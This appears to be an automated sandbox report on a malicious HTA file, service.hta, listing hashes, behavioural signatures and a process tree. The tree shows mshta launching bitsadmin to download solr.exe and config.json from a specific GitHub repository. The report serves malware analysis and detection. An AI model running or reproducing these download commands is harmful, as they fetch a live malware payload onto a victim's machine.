Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20250207-en
  • resource tags

    arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system
  • submitted
    27/03/2025, 03:37

General

  • Target

    service.hta

  • Size

    2KB

  • MD5

    0028c690c43f28fe571cd968627127a1

  • SHA1

    fb8672d3e91ab19eb698785d89dc19b57469c69f

  • SHA256

    3ccad5317d4c96825a9d45d9be545bf0c6d5aff47b6d3a0193aed10cd375208c

  • SHA512

    9b63653284c8fa136ec87b82a2123bad839e746c5d5663f3c2c8f7f4bd4b11258193de2e3cffb34151818c10855d890ef3a74b5a9bdb3841379bbd25c5acc020

Score
8/10

Malware Config

Signatures

  • Download via BitsAdmin 1 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\service.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1192
    • C:\Windows\SysWOW64\bitsadmin.exe
      "C:\Windows\System32\bitsadmin.exe" /transfer down https://github.com/safe0909/check/raw/refs/heads/main/solr.exe C:\Users\Admin\AppData\Local\Temp\cache\solr.exe
      2⤵
      • Download via BitsAdmin
      • System Location Discovery: System Language Discovery
      PID:2324
    • C:\Windows\SysWOW64\bitsadmin.exe
      "C:\Windows\System32\bitsadmin.exe" /transfer down https://raw.githubusercontent.com/safe0909/check/refs/heads/main/config.json C:\Users\Admin\AppData\Local\Temp\cache\config.json
      2⤵
      • Download via BitsAdmin
      • System Location Discovery: System Language Discovery
      PID:2340

Network

MITRE ATT&CK Enterprise v15

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Downloads